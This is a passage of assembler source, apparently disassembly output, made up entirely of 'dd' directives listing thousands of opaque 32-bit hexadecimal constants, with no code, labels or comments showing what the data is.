		dd 9E18008Ch, 43AAC0A3h, 2F077998h, 474276E8h, 0D1F36601h
		dd 195FCh, 0A05CFADEh, 72F68A03h, 7EAEF100h, 0C6576493h
		dd 0D81800AFh, 4494836Dh, 35007B65h, 0DCFB81DAh, 0F67D77h
		dd 33D9C23Ah, 0BD0F4703h, 941F515h, 0C1A8B004h,	0C2850088h
		dd 0D10B5B7Fh, 77004296h, 418E47F0h, 1572B3h, 445781B5h
		dd 8DDCFE0Bh, 554080EBh, 0DACF26E0h, 95213830h,	9E9B1D03h
		dd 20004751h, 0B64CB2DBh, 0F4932AF6h, 0DCF903C3h, 53E90227h
		dd 6C7BF5B8h, 37CFBE1Ch, 56E31040h, 3F68073h, 962D4606h
		dd 2800FF49h, 0B61FA941h, 39FA0786h, 0BF3134E7h, 80C2D808h
		dd 5B0E3E20h, 0FA1F7D86h, 7937F6CCh, 0CBC001EFh, 1ABD31F3h
		dd 62998527h, 18C03BBAh, 505E4945h, 0DD88FFh, 0C5799D6Dh
		dd 4083BD19h, 2394D500h, 94ADF30h, 164F6047h, 0C233BBF1h
		dd 0B0AFE230h, 18D049B2h, 109998ACh, 97117126h,	0CE0509C4h
		dd 0E2EA7h, 0D4ED21B8h,	2900B36Dh, 0C7889A9Eh, 609FA92Fh
		dd 0FC94E844h, 9790B5DAh, 9CBA660Fh, 41FDC077h,	2A1C605Fh
		dd 1888D0Bh, 0F01816ECh, 9187B222h, 0F180CA68h,	89B691DAh
		dd 3480D8B0h, 0C18356A1h, 57706D9Bh, 7B75007Eh,	0E333ABCCh
		dd 9F001B4Dh, 319D53Dh,	681D840h, 0A90C9908h, 29317894h
		dd 0C43990FFh, 450448EAh, 9B5E0081h, 6726A502h,	230091C7h
		dd 8F5792CCh, 0ED07E3Bh, 44DD8066h, 3DCF20Ah, 4B5DC44Ah
		dd 53EE4000h, 0C0350E91h, 1CFD0044h, 3DBF9CB9h,	907937Bh
		dd 0B87990F5h, 59DFEB31h, 0C010745Fh, 0A4F4C057h, 106570h
		dd 0D0677F0Bh, 0D2049DA3h, 0EF0236F6h, 2C09D58Ch, 4384C8Dh
		dd 7EDE68B4h, 201B62F2h, 0F85BE249h, 57223Ch, 38FEF715h
		dd 305E75D9h, 66D8464Bh, 0AF07059Bh, 0BF0E7D31h, 9E0295F5h
		dd 469CFB99h, 9D08053Ch, 9210318h, 3C22479Ch, 0B000DE0Ch
		dd 0FEA093h, 6389701Ch,	799B201Ah, 3E90D002h, 8099ADD3h
		dd 3FA2D28Ch, 0ECC3405Ch, 0B14CD40Ah, 8C2188C1h, 448208h
		dd 0A5391E81h, 0D80707FCh, 0A735C514h, 0B117E7EFh, 0AD83FDB0h
		dd 20920064h, 16A6FB1Bh, 24F09ADFh, 913ECB0Ch, 7B6C88Ch
		dd 20023F98h, 44226950h, 44A015E0h, 0B3FFDB5Bh,	89783949h
		dd 5250A386h, 0D0C8EB18h, 0AC7B7Ch, 0F08A14B1h,	0DDA974F9h
		dd 99495B0Eh, 988BA171h, 1C34EEE8h, 887B1CB3h, 2FB5044Dh
		dd 4548C88Eh, 0ACBC2202h, 1198C858h, 0C6C8514Ah, 2E7EC44Ch
		dd 506BF404h, 1490D703h, 3A598886h, 200E06BDh, 0D220B771h
		dd 0C8E96499h, 7E18A206h, 1299FCB8h, 4016B0F6h,	25B36504h
		dd 6B0C1C0Bh, 0D8043419h, 78FC9153h, 3865C05h, 33915F5Dh
		dd 0EC8AC51h, 0D5244999h, 6B1F1AFBh, 1870AA09h,	85BBB50h
		dd 9DA7ED9h, 95B062h, 2868C8A2h, 6E8F8303h, 9074F799h
		dd 0C02CE8B5h, 4CDA0950h, 63012467h, 0F3C13934h, 918CDC15h
		dd 8308B465h, 0FC4B807h, 9F101617h, 50499E57h, 70A6C739h
		dd 66B0A0DAh, 4018004Ah, 0F183F48Eh, 18DF20ACh,	0D3ED1180h
		dd 268D1993h, 94D694h, 20C46604h, 9FE2017Eh, 550074F0h
		dd 0B4A7760h, 3EACCEC1h, 0BA3FA129h, 6FABF701h,	83FAC6CBh
		dd 1A5622B9h, 5282C097h
		dd 0C27CDDh, 0CC2AECAEh, 990B8528h, 0BC451700h,	0A0E562B2h
		dd 480679F5h, 0CFC0142Eh, 48DACB68h, 119E4D21h,	0D8884169h
		dd 0AA0291C4h, 0CDD0A2BAh, 88C40857h, 0EE61484Fh, 62C07D32h
		dd 242086E6h, 0C53F1FC2h, 3E7F8132h, 30B76A0Fh,	0F8DC0B61h
		dd 0E3768183h, 84BD804Fh, 7520401h, 0D298351Eh,	91303E14h
		dd 0FCAD08A0h, 0F649439h, 0F17F5Eh, 3D456032h, 54938D7Fh
		dd 39B7EF13h, 35463000h, 0EE7B2A8Bh, 2D411340h,	5A786093h
		dd 841EE1B5h, 2F882E3Ch, 940A08BEh, 43D35300h, 0F240651Dh
		dd 0EE8E025Bh, 11E27666h, 8C85A064h, 18A075C2h,	77015EAFh
		dd 4ADB7A60h, 0A42208EBh, 301AC1C4h, 872E116h, 0A8CBF1B6h
		dd 0B53EC42h, 5E3B5000h, 0BF008085h, 15F7E34Dh,	28EC7F96h
		dd 4CA4F460h, 5B383508h, 5832DC0Ah, 9769ECh, 60956F08h
		dd 0F9AABE9Fh, 29DA1600h, 2DB1E535h, 63DC1F85h,	0DEE91h
		dd 6A4FFB57h, 0AE0F7DAAh, 498D10EAh, 3088188Ch,	64D201CDh
		dd 0E7EAD53Ch, 37CE84BAh, 5C8B018Bh, 30475184h,	9055527Fh
		dd 0FB72009Dh, 0ADDD1F22h, 0FC043DFFh, 0D8325F9Ah, 4494ADC2h
		dd 64840294h, 8C0548F7h, 61D97448h, 1E862438h, 6441C9EDh
		dd 0A2E6C5DDh, 55C6CC8h, 1B85D906h, 0F028909Ah,	0EA00C866h
		dd 0B4948138h, 1AF4345h, 79CD939Dh, 30B28448h, 34037AA8h
		dd 0BE644776h, 9742915h, 60CC16F4h, 93DAAF60h, 0CA19B614h
		dd 0A1F3CCF4h, 3A1A0246h, 102E8AA0h, 9D264850h,	0E440A8CCh
		dd 0AD3319Ah, 9943402Ah, 0A5948FA0h, 0C87CFA65h, 4205A1B8h
		dd 153C34AAh, 2C1EC1EBh, 0F7443045h, 3ACCE412h,	5CCDD400h
		dd 0A0FC2Fh, 0F1ADCB76h, 122BA874h, 4E9EA604h, 848873CCh
		dd 1021F29h, 23B68603h,	74009008h, 0E5C14AF1h, 92E6DF2Ch
		dd 9ADB12E8h, 10F02B39h, 0E1C0DF30h, 8ED97D0Bh,	0B3F73A05h
		dd 98909D84h, 1C1320h, 0AACB2B72h, 0C79940B0h, 0F43930A4h
		dd 18D089Dh, 97B45895h,	6DE8A00Fh, 0FB80BC06h, 0F6ED4EC7h
		dd 0F2E70228h, 0A02940FCh, 5497452h, 38280CCh, 2111B3FEh
		dd 0A4089AC0h, 0B4170056h, 668E5872h, 0C8768502h, 4232678Ch
		dd 0C298675Ch, 211856A4h, 0D46C31ADh, 0E85D8D30h, 98931906h
		dd 0E968D901h, 0BB1878ACh, 33DA88h, 0DD846626h,	0FB4954A3h
		dd 3465D42Ch, 6F7BC880h, 67C461h, 0F09A6663h, 0EC0F8BD0h
		dd 562BA701h, 0DCADCE46h, 0A63B6429h, 51AA3E03h, 0A08F3431h
		dd 7D42078Eh, 52A92C01h, 0A022FEB3h, 0CC419E80h, 403EDAEFh
		dd 812CD700h, 8010A891h, 4CFF5D58h, 8C957C0Dh, 0D17C60F0h
		dd 60B76409h, 32390030h, 250F7Ah, 1E5165FDh, 9C79A82Fh
		dd 55034B00h, 71A6972Bh, 39320228h, 0EEFF3B6Fh,	0FC360E61h
		dd 2E00E9CBh, 26DDA85Bh, 50C42Dh, 2B1C74EFh, 0B10E757Ah
		dd 0D07D2F00h, 533008D3h, 0B778007Bh, 0CA77C713h, 0A7EE214Dh
		dd 2C3CD600h, 0C252AE82h, 0E1DE0756h, 74BB43h, 18EFAA6Ch
		dd 2D0C4203h, 98CD1209h, 19BA35h, 0A70ED8E4h, 0C22F49DAh
		dd 5AE03Ch, 8DACAF82h, 0BCB59Bh, 6D4870C1h, 817E1969h
		dd 5C142BEEh, 9146D1h, 648EB908h, 0DD9453h, 0ECCBED6Dh
		dd 0D5FCD1CAh, 7A19D200h, 9D06321Fh, 1C6600DDh,	85C89959h
		dd 89F8BCF6h, 19A5D550h, 793D18C0h, 2E4671h, 0AC651CC0h
		dd 94D26BA9h, 0D8DD6101h, 6D4D86D6h, 2210C940h,	97B100CBh
		dd 1780BA46h, 0EB0788BEh, 5830DBD6h, 0DCD3C9F0h, 3E8B26E4h
		dd 0A65F0085h, 530C6D4Bh, 16263F0Eh, 819A63BEh,	1224818Fh
		dd 0F3E023E8h, 39C49F4h, 993BB232h, 0EFF8DFCBh,	5D0026C3h
		dd 95AD25BEh, 0D3A709h,	0B6FE29Dh, 0CCE536D4h, 716BC200h
		dd 3212C70h, 1B89001Fh,	8F0EFFBFh, 0F6003DD1h, 17A4CD0Dh
		dd 0A7E84Eh, 0A8C3EAFAh, 67D2BCB4h, 4A28C101h, 905A50B1h
		dd 7D871080h, 0AB235D1Eh, 55952000h, 9D255243h,	0A8BB00D0h
		dd 906E9FBh, 703C136h, 1079823Eh, 44FEB12Fh, 1E49B024h
		dd 43F823F4h, 0FBF6A45Bh, 6A43C4F0h, 8CDD4Ch, 0D99B3073h
		dd 1E48A7BAh, 0FCDDAh, 290955Fh, 3007056h, 8C757F67h, 73C7D3h
		dd 5F2A497Eh, 38D7DDC1h, 0F2522300h, 534F8D77h,	1179DFh
		dd 0A7F8AD68h, 796FEDF9h, 5C67D124h, 0A4BB6B00h, 0AE06D4h
		dd 0F518F4D0h, 82A8CEA5h, 1EFDE61Eh, 0B81CA866h, 645E4181h
		dd 5AF439E9h, 3D2200BBh, 4BE390C3h, 9E0FEE89h, 0E026F091h
		dd 342A4F20h, 947C31h, 758395D7h, 0C324BED6h, 4860FB0Fh
		dd 0D4902042h, 3C7470h,	5EF8A3FFh, 0EE29396Dh, 0A949EC00h
		dd 0A5BFD0E9h, 35643FE5h, 0A8368000h, 0CF764FD3h, 973C4300h
		dd 87ABC084h, 0EE1E0011h, 0DC5FAFCEh, 60094D9Ah, 0F51233Fh
		dd 0D8B2652Eh, 0B30007ACh, 2368530h, 140023A6h,	0B83BC8A7h
		dd 5527089h, 49B0FD5Eh,	1A08A013h, 36E2F800h, 89D3CB29h
		dd 3ED0E20Fh, 0C6092742h, 740058F0h, 7559B0A4h,	14A7FF00h
		dd 4BCF6C5Ch, 741A007Ah, 375AC29Bh, 32002EEAh, 0D76EAFFAh
		dd 0EACCFEF5h, 2D84005Eh, 97D8F46Fh, 18034359h,	73F3CBCDh
		dd 0D1A99809h, 0DBE6A4h, 0D3675EB5h, 8D3FE413h,	74DC000h
		dd 0C2EA654Fh, 59B50040h, 5BF29698h, 71008D84h,	0D06C1C1Bh
		dd 2231EF7h, 0AF70D806h, 48C1D7B4h, 0CD2FE82Ch,	7181200h
		dd 5C5668F6h, 4379A9h, 977971E0h, 3AF85E1Eh, 68342060h
		dd 55C5394h, 3C13359Eh,	3DA000A7h, 0CA4EDFC2h, 4F6BB900h
		dd 157B94ECh, 64E4BCh, 7F3BE64Dh, 0ACD8305Bh, 843BFD70h
		dd 406EE0EDh, 192D83h, 14A3E2D6h, 3EE56EA1h, 4E12A000h
		dd 0EDB250B4h, 6461001Fh, 3D1BC72Dh, 800E4E1h, 0F83648DBh
		dd 22A91Ah, 9F87CA4Ch, 1AD772Fh, 5CB45400h, 2BA3202Ch
		dd 60A60030h, 9310D859h, 3F056ACBh, 0B4D338DBh,	79F5D0FAh
		dd 7407D789h, 1090145Dh, 5CF8EA70h, 0AB9F07BFh,	5162CD06h
		dd 0EC0DD42Bh, 6F504D26h, 0C200F0EBh, 1071A7A3h, 0AE88207h
		dd 182A992Eh, 0E2780080h, 0E5E406F3h, 2DF51300h, 0C3F1B9E1h
		dd 9C170025h, 959FD87Ah, 7DB8639Dh, 0D63A747Dh,	36E87EEh
		dd 9136E1F5h, 0B17D18h,	4EB0CC8Bh, 4602F9A3h, 1DD9311Dh
		dd 0F6F4C0Bh, 0FC7F80BDh, 47D4C3h, 0D9878439h, 19F4E4E3h
		dd 0FD09D53Ah, 986DBC3Fh, 64DC5F4Dh, 0CD1D00FFh, 0DA8B496Fh
		dd 0F03FBEBh, 5AB2B743h, 0DEB0A869h, 705C0F48h,	3DC8C16h
		dd 0B3FA9C8Ah, 5378AE98h, 0B1FF720Eh, 5400F65Dh, 6A76690Ah
		dd 0BB910025h, 0D4A73305h, 7F48048Fh, 26B90054h, 0A8E77D6Eh
		dd 696C0014h, 0A47C768Dh, 0AE008682h, 0F3783BDBh, 41E543h
		dd 0A2D3DAD9h, 1FFE751Bh, 0E845AB03h, 0C8E2253Eh, 0A689FCh
		dd 0CD980F4h, 39F38CC0h, 0B7C33100h, 66720D77h,	5FD20061h
		dd 0BAB446B6h, 0A500EFF0h, 0F699D690h, 2C867FE8h, 7E145Ah
		dd 0EDC94DEEh, 64005BC6h, 8FC73825h, 60714B3Eh,	5FAE7C7Ch
		dd 0CE09CA43h, 5836F5A1h, 33292C90h, 72A30009h,	109853F7h
		dd 9A3D7400h, 8B6EC259h, 4829E8CFh, 0F0009CD8h,	9F20338Dh
		dd 0BA00A28Ah, 4B39F5E6h, 737323D4h, 58010049h,	6DA80BFDh
		dd 0B201CB61h, 0FE3D4D0Ah, 8040DE60h, 0EF0610h,	0C723C17Fh
		dd 56FCC5E7h, 7314A200h, 2F594570h, 579B263Bh, 0AE210039h
		dd 0C2A5D580h, 54660F00h, 35F99FA1h, 1BC00052h,	3F8211C1h
		dd 94396FF2h, 3600FF0Dh, 172661EDh, 78CD0Eh, 8B8864D8h
		dd 10A6D234h
		dd 0BFA38F26h, 0A8630D01h, 5AC8DCD7h, 1B3139BEh, 0FBCA4D05h
		dd 0C0688006h, 19006802h, 2D71E981h, 0E6B255h, 429B7A1Dh
		dd 2593624Fh, 5B6930C0h, 76EE8AFh, 4E44126Bh, 5EC680B6h
		dd 390058C9h, 0BBF54198h, 76EF26h, 52FFC528h, 9BA67CADh
		dd 3083A102h, 604EB53Bh, 570D14h, 1F59E364h, 90BAE2A9h
		dd 0E669A418h, 91AEF6h,	0B0A702ACh, 0C4A3F90Dh,	4A001470h
		dd 0DEFE9086h, 3FC321h,	6E751888h, 0E45FACCEh, 2607CA0Eh
		dd 0C43B008Bh, 1D55E34h, 73C1C037h, 0D8795C59h,	0AA070CE7h
		dd 0D8D4175Bh, 20A67850h, 9143DC7h, 97CBD086h, 23E01081h
		dd 0E4403304h, 918321B9h, 0B49298A0h, 9BC7004Bh, 88B56A28h
		dd 1D3A0C41h, 5730018Bh, 0CFBF85B6h, 18FD4080h,	0BBB87BAFh
		dd 2A928600h, 4C4045C3h, 0D8FA0D0h, 4F1C1E94h, 2CBC009Eh
		dd 3DB751A2h, 70DE8900h, 557F892h, 20150014h, 474612DAh
		dd 7F0061F3h, 45DC38C8h, 0A975BFh, 0AA38D52h, 0B910D1CEh
		dd 31971F30h, 2A250529h, 185C0EA0h, 40B8874Eh, 0B8CEEF0Dh
		dd 68DD8742h, 81172A62h, 85FD46B4h, 93143080h, 3288D00Ah
		dd 980BEE00h, 0E7AE0143h, 78AC0018h, 0F0633AE4h, 163B13EBh
		dd 28ED87BDh, 2480EF82h, 772C4F33h, 91900DFh, 720A12A4h
		dd 0E8A8B790h, 362AACC7h, 9B0098D7h, 0B6171C48h, 35C19E2h
		dd 7238C6DBh, 0AE808A8Dh, 5EFE484Dh, 0E5F75A0Fh, 0F8ED81F9h
		dd 0A940D7AAh, 30A2858Ch, 1B11A58Eh, 6000735Ah,	1234DD83h
		dd 18A8B87h, 23A42BC0h,	488191D6h, 0DC0A6620h, 18387686h
		dd 0A9032041h, 58A41449h, 80142137h, 32465480h,	0D9489C97h
		dd 621C46BFh, 39C74660h, 0EFB1C8E0h, 0E7C1F905h, 4C66D9ECh
		dd 82532970h, 129AC64h,	0E799EC27h, 0B4088AE6h,	76C238AEh
		dd 0F8A0386Ch, 4308056h, 0DCDF176Bh, 55A70037h,	4B02B9EEh
		dd 0F4573CB1h, 239CB4A5h, 60867736h, 0D140545Eh, 0A8A26898h
		dd 13C0F083h, 9F397015h, 3B56C530h, 0F5201833h,	0C0188011h
		dd 12588916h, 8028C065h, 0B623DB92h, 8B02C8A5h,	13C89753h
		dd 96E05900h, 6119ECFFh, 84C8A04Ch, 43B0A118h, 24FA8047h
		dd 150870CCh, 24D89704h, 0FDB04001h, 160B9ECh, 40E6FB79h
		dd 0A9C6F84h, 8284773Fh, 0CA0FC748h, 98A06324h,	59D9900Ch
		dd 784F884Dh, 3DAAEE4Eh, 3282EE56h, 0F6D73E0Ch,	6814509Eh
		dd 9C74355Fh, 0A049FA0Ah, 7881173h, 660C378h, 73C828FCh
		dd 38B703BCh, 71775229h, 39370807h, 0BE8348C6h,	0C4F7A0C5h
		dd 317F8E1h, 3755D53Eh,	100EDC9Ah, 2099C324h, 7653E7BCh
		dd 0B271DBh, 6EEC475Eh,	9ABDC88Ah, 0E8969C00h, 0F7264EF0h
		dd 7430E452h, 92D73099h, 31919770h, 7757540Eh, 0B03D9FECh
		dd 0D4781883h, 343914A2h, 0BC8030CCh, 69468D36h, 0AE08B843h
		dd 8018F6EFh, 0C32DCEB1h, 530FA768h, 12568E1h, 5858E4C2h
		dd 0C59D2366h, 0F3AB0E05h, 0A0B28C1Dh, 274B397h, 0EE63C588h
		dd 6E109D30h, 0AE2800CCh, 5D41A3D9h, 58F92A6Bh,	0C729EE38h
		dd 0CE0E60B4h, 0DA35A13Dh, 1848E518h, 8E038BDh,	0D511D630h
		dd 86000D82h, 4EFFF005h, 1454262Ah, 1CCBE517h, 65C37280h
		dd 0F2021938h, 8130AEFFh, 6C30B833h, 60017E8Fh,	0A60E50E1h
		dd 0F805963Bh, 1A332242h, 0F0C6C028h, 4DDD302Bh, 90556E30h
		dd 50D8960Eh, 50188897h, 0E910E367h, 0CE014EA5h, 0BA334843h
		dd 74C45CD0h, 3AF69F0Ch, 5C2EB024h, 3052AAF4h, 3BE052C1h
		dd 8E81812Fh, 19AFBCCCh, 553C58h, 3BDC491Ch, 0DDEEFFF7h
		dd 0DE3928C6h, 0B5F92908h, 0E21D812Ch, 9F330h, 0B9C24Eh
		dd 0E4FCBA35h, 0D5CFA36h, 0E159AE0Eh, 60AB9FF2h, 0D713907h
		dd 0B820E7BAh, 35B4E506h, 3008A47Ah, 19384FFAh,	48D4AFC0h
		dd 0A05BA344h, 0A8ECDAD1h, 52D5BBC4h, 3EC09428h, 76E40E8h
		dd 26AEC0A8h, 8529F9E4h, 2DC0AC0Dh, 9271B8C4h, 0C3CE1418h
		dd 4F2480ACh, 369A0708h, 59F42ACAh, 0C993F812h,	52EBB40h
		dd 59AFC7BDh, 38182C70h, 0AA7B8914h, 60E88CCCh,	414AC3Ah
		dd 0A4D31213h, 0E6EE04B0h, 8605C9Ch, 24AF397Ah,	67E04E00h
		dd 142B3A28h, 0DCFA3349h, 0EC13E8A1h, 0AE80FFB4h, 74494820h
		dd 4EC461E0h, 2906BC22h, 405037DFh, 5A4A6342h, 296EE340h
		dd 4028356Ah, 6750D644h, 0E6CE7A40h, 63809091h,	361259BFh
		dd 1A0D5AA0h, 0FCC808CAh, 93207C8Eh, 3E566C2Ch,	772A6314h
		dd 83E328B8h, 84B61D0h,	302752FAh, 0E0C2932Ch, 47DBD67Ah
		dd 9CE0044h, 0F60E6445h, 227DC4A0h, 0A4989724h,	0C3C87851h
		dd 0EE9CA8C0h, 0A46B05DFh, 28F29EF9h, 0C6089C50h, 54C1CDh
		dd 0A46E844Eh, 464C0719h, 0EB63E074h, 0F4A25480h, 29F403AEh
		dd 8D201A2Dh, 0D807BAA0h, 9E02F090h, 989A359Bh,	8B984097h
		dd 59A500FBh, 199F3D87h, 0B8FA0EFEh, 820C74ACh,	91B6EB7Ah
		dd 2E1D040Eh, 0C1DEFA2Dh, 603FD7DCh, 5F053738h,	0A25753D9h
		dd 95866891h, 0F61208Ch, 9741F58h, 0C06C1801h, 12969889h
		dd 848080BAh, 0BA1E99A4h, 0F43EF9A2h, 723A78F8h, 0A3307830h
		dd 7601104Dh, 505901A1h, 0AB399F2Bh, 75F440DEh,	0D8A1A46Ah
		dd 0F318848Fh, 388B35FFh, 0DAA80D02h, 462007ABh, 261A357Dh
		dd 1218DF15h, 0F790007Ch, 5748AA83h, 9724AD06h,	5080B658h
		dd 1E9FBB19h, 9FE8F99h,	54387479h, 0DC111712h, 5F14BB9Dh
		dd 0A07ABC11h, 48E3BA98h, 507CEC5Dh, 654E8C6Dh,	80A208CCh
		dd 3392F7D4h, 397F30B0h, 34DCC8A1h, 4C9081F8h, 0C407DA05h
		dd 2C8BD9AFh, 0EB66A004h, 2EC0C072h, 2C3F88B8h,	7A78E0FAh
		dd 12AFBFAAh, 0A7FC399h, 6C03324h, 60A83938h, 2170288Ch
		dd 0A0EC013h, 28573046h, 941B5048h, 309648B9h, 88B2DA08h
		dd 28718601h, 60DA7B7Ah, 98DF8F20h, 569306E8h, 8D4DA2Ch
		dd 0BC021A18h, 0D8A2E8C0h, 0A4199910h, 13187463h, 0E63814DDh
		dd 116CCE3h, 36D4049Fh,	0D15C81B5h, 0E61095DCh,	108A30DCh
		dd 0A0E1A65Ah, 0B0F636F8h, 0E0E53100h, 98B33148h, 0DA082C18h
		dd 189B618Ah, 0F03622A5h, 381962Ah, 42DD598Ch, 9E489230h
		dd 945C1890h, 0C6E23C08h, 88B2F268h, 8E75537h, 0F904CC94h
		dd 0A7548117h, 51088BFBh, 18C8491h, 0FA578C81h,	28979870h
		dd 79F8AEC6h, 0E228903Dh, 0B9A40C6Fh, 343814A9h, 0E3F0FF7Ch
		dd 6320FE62h, 0F37C4115h, 935030E7h, 9FB1B968h,	782E1890h
		dd 202A9C85h, 89CB9718h, 0F846CD08h, 0CCE275B7h, 0EE217370h
		dd 9C31CCBAh, 2BE71829h, 5B780880h, 0BCA15889h,	21EBB8E8h
		dd 30F8E1D4h, 85009808h, 62D9A271h, 6F7748D0h, 0B1A4088Dh
		dd 0BC64C283h, 2F595060h, 82C86661h, 7DC499C2h,	0C0D4F969h
		dd 0ED60CEC5h, 564E08B8h, 0D7F99F01h, 359902Dh,	5DB81882h
		dd 0A0659685h, 0ED9CFC80h, 80F74FB0h, 2C0E5144h, 8457BB9Ah
		dd 0AC81EF5Ah, 2C20E719h, 59A940DAh, 0B0999640h, 48C498A9h
		dd 5A172CEAh, 1A1407D6h, 12FCEA98h, 0B53846ACh,	974820E6h
		dd 739A1228h, 0F47A2402h, 718410Bh, 7DFA1886h, 0C2438DBh
		dd 0A70C8CE3h, 6489406Dh, 870D209Bh, 0B3CDCF30h, 580CEF18h
		dd 50CC789Ah, 44B748B5h, 8D484724h, 0C62097A7h,	0E718F40Ah
		dd 816D9408h, 390420DBh, 8C74DF0h, 0D981FC33h, 0C20ACEFh
		dd 185C9863h, 18FF74D7h, 0CCA36854h, 4CD4A0BCh,	8C18FE62h
		dd 0B00C40B2h, 48D898B3h, 570C247Eh, 12088478h,	0AC182F6Fh
		dd 647428F4h, 0C56860B0h
		dd 0D2600988h, 7DF1EC83h, 0C3FF80E7h, 0F28D889h, 0A748E0BDh
		dd 3179781Ch, 226018FEh, 0C11099A8h, 50589489h,	0FCEECDAEh
		dd 4E165C9Ah, 5C0C4564h, 3A39C81Ch, 284A17F5h, 0E2080C4Ch
		dd 0C4E8443h, 7A380BAEh, 1128EA58h, 0D950C3B9h,	0E7300003h
		dd 104BB44Ch, 751F551Dh, 0D48EDBA8h, 0A5807EBFh, 70CAB1DDh
		dd 1461524Fh, 0EE90877h, 8500BC35h, 0D0CAAF9Ah,	0F2B2744Ch
		dd 8B36326h, 0B0E05333h, 0CB0EBB77h, 1EE7D1F0h,	1030E024h
		dd 0F9CA1309h, 1880F1EDh, 90D2661Eh, 0F0E904E9h, 0F0F11850h
		dd 70F827DDh, 105A3931h, 20804B2Dh, 30D49129h, 10F84E34h
		dd 0C65AD3Eh, 484A5CD0h, 38AE6326h, 20192359h, 0A9401C4Fh
		dd 38900886h, 8920184Dh, 606E31AEh, 8FFE9C08h, 87318118h
		dd 80C3A50h, 19617CDAh,	5849E830h, 1888BAD5h, 0B10856BAh
		dd 0D0020878h, 0F000922Ah, 1CECB510h, 3C2CE837h, 6C267140h
		dd 0C2021F10h, 9003F5F8h, 40C791E3h, 8CB5F7E5h,	722063Ah
		dd 0C989934Ch, 0B7347CC0h, 607F31ECh, 0D0233018h, 0F963CF0Ch
		dd 184D5360h, 681C4058h, 18C41DD9h, 0E1032208h,	45E0B741h
		dd 76F0B459h, 99102F60h, 37CCB556h, 1658EF8Bh, 1F373019h
		dd 0B7D62854h, 3AD23A90h, 0A9DB0C8Ch, 4260C228h, 6895E344h
		dd 0B886010Fh, 67558F69h, 88BFE075h, 0ED3A2FF8h, 0EB6F0C8Eh
		dd 7CDD1093h, 254F1F8Ah, 0AEF0C94h, 0BE6FAF40h,	38610C20h
		dd 5EFA006Fh, 0AEAC1001h, 5DFE3070h, 331D0F0h, 58B40863h
		dd 50005B02h, 762ADBh, 2B6DCEFh, 700A2130h, 847816F8h
		dd 0D0784EE8h, 570671E4h, 11972F69h, 0A44702B0h, 0D37F10D4h
		dd 0BCA52441h, 3EA90108h, 797550D7h, 4B1FFC45h,	61B3D007h
		dd 0E7867C21h, 4A6FCh, 5C016051h, 0BE961F3Ch, 1D101752h
		dd 0DF0003E2h, 761F2568h, 0C98C07E0h, 4081C1E1h, 7F889E61h
		dd 2C74A114h, 0AC00921Ch, 3B4FE837h, 0BC56001Fh, 2541C973h
		dd 1D7EB109h, 17F8607h,	61429BAAh, 6C3C98BDh, 76AC109Eh
		dd 15360372h, 0F21C9E1h, 97668139h, 8E780C0h, 28315CD7h
		dd 0FCBF08F7h, 9DAD5AE4h, 0CBFE27F8h, 5E7ABE00h, 1720F37h
		dd 0BDDD0E54h, 0FD805579h, 0FB08E432h, 14F1293Ah, 0C020A21Bh
		dd 0EA676337h, 0F401EF7h, 9D38F0D2h, 14A44C61h,	5906B50Eh
		dd 326838B8h, 354E078Ch, 41478D80h, 0E051C820h,	2B60DDC0h
		dd 32E93618h, 784963A0h, 83A03FBh, 367BC05Bh, 899D631h
		dd 0D46380F0h, 0E0F25910h, 0C0403CBBh, 24FB2B0h, 0CB741CDDh
		dd 0CC42FD1Eh, 6D877D00h, 6325FCD7h, 98BA104Ah,	0D43A2800h
		dd 5EE81D07h, 6EFD1FEFh, 0CD3D0AC0h, 783C04A0h,	73466035h
		dd 0BAE62004h, 0C6989201h, 0E07D9D02h, 73DBB090h, 9B98E660h
		dd 1DD4784Ah, 2B75189Ch, 0F24C8228h, 94AEEC3Dh,	40F816CEh
		dd 0F6B06046h, 0D801E085h, 3CE3D152h, 75D80FD1h, 9B0B15B2h
		dd 2C0C055h, 5109F12Fh,	63A6B280h, 0B9FDA047h, 608CB037h
		dd 858DD472h, 343386FCh, 0B3C7E18Fh, 32129980h,	473DEF5Dh
		dd 0F02CFF48h, 208C187Ch, 1C4940F7h, 0E6157C20h, 8F7C3DDDh
		dd 0D6ECC27Fh, 8DD202B9h, 5B3B9883h, 6E75C902h,	0E0BC1382h
		dd 0B59D0Eh, 21632D0Bh,	2CECE2C6h, 0EE0D310Ch, 38E0880h
		dd 2D25E57Ch, 8DA1D3A9h, 9A4D0069h, 8BE22809h, 55900028h
		dd 142CEF41h, 8703C32Dh, 3ACE267h, 790CA06Dh, 3ACBA040h
		dd 0CB18C317h, 45E1E1DEh, 9E208F1Eh, 78111FDDh,	2C107C30h
		dd 0B180B2F2h, 7F88C938h, 6CED8A80h, 96F02649h,	6D1E4A74h
		dd 0AD0C0398h, 338D10B4h, 0BEA8D9E4h, 30082137h, 0C74892C3h
		dd 3148A6C6h, 0CD20652Dh, 3140BC8Fh, 4C349F4h, 0CD03FC02h
		dd 9D29200Bh, 31D8ED20h, 5B09174Dh, 0D3C88CC5h,	73108ABh
		dd 48AE288Bh, 9B2CC0ACh, 0CE1D35A8h, 2E03B5BBh,	0C1288A80h
		dd 0F88FF07Fh, 8E835CB7h, 1814B507h, 1F904B44h,	0E06B6F9h
		dd 338B7C6h, 4E28300Bh,	83A76C5Ah, 8EC06DCEh, 7781B64Fh
		dd 700DD89Fh, 9FD54D08h, 691230C6h, 44D62890h, 6ADD3EA0h
		dd 422C0E0Ch, 6F642328h, 9EC09A48h, 0C787FA8Dh,	0C3B0A120h
		dd 40EE18EEh, 25082206h, 1428786Dh, 903B94ADh, 40235018h
		dd 0ACA11664h, 0CED0874Bh, 0AE446286h, 6F208886h, 0DC0C184Ah
		dd 0E033EED8h, 7C83E05Bh, 8F26720h, 583A866Eh, 332E3C40h
		dd 5088A08Bh, 34ED7018h, 0C6188DC8h, 10E6B5D1h,	4CD00724h
		dd 0A511D9C1h, 230131E5h, 4C302095h, 2140A53h, 5BB3DC72h
		dd 6830266h, 4528AC04h,	1DEE3609h, 0E39C0152h, 144A4049h
		dd 0CECADF02h, 43025359h, 0A2C024Bh, 0E018F888h, 5F29DF22h
		dd 2D009DE4h, 0E180F2A3h, 9B3F3ECh, 0BC6D8CE2h,	5A42C04h
		dd 0DC050A6Eh, 0E04C14CDh, 800B113Eh, 9CA0908Dh, 0E490F04Eh
		dd 8016E37h, 2D57380h, 43453AD1h, 82EB027Eh, 204C1106h
		dd 3EC14890h, 390B314h,	88677388h, 14AA6C88h, 7A062760h
		dd 9EC02656h, 0B1491824h, 8C6B89Dh, 2438C514h, 15945FECh
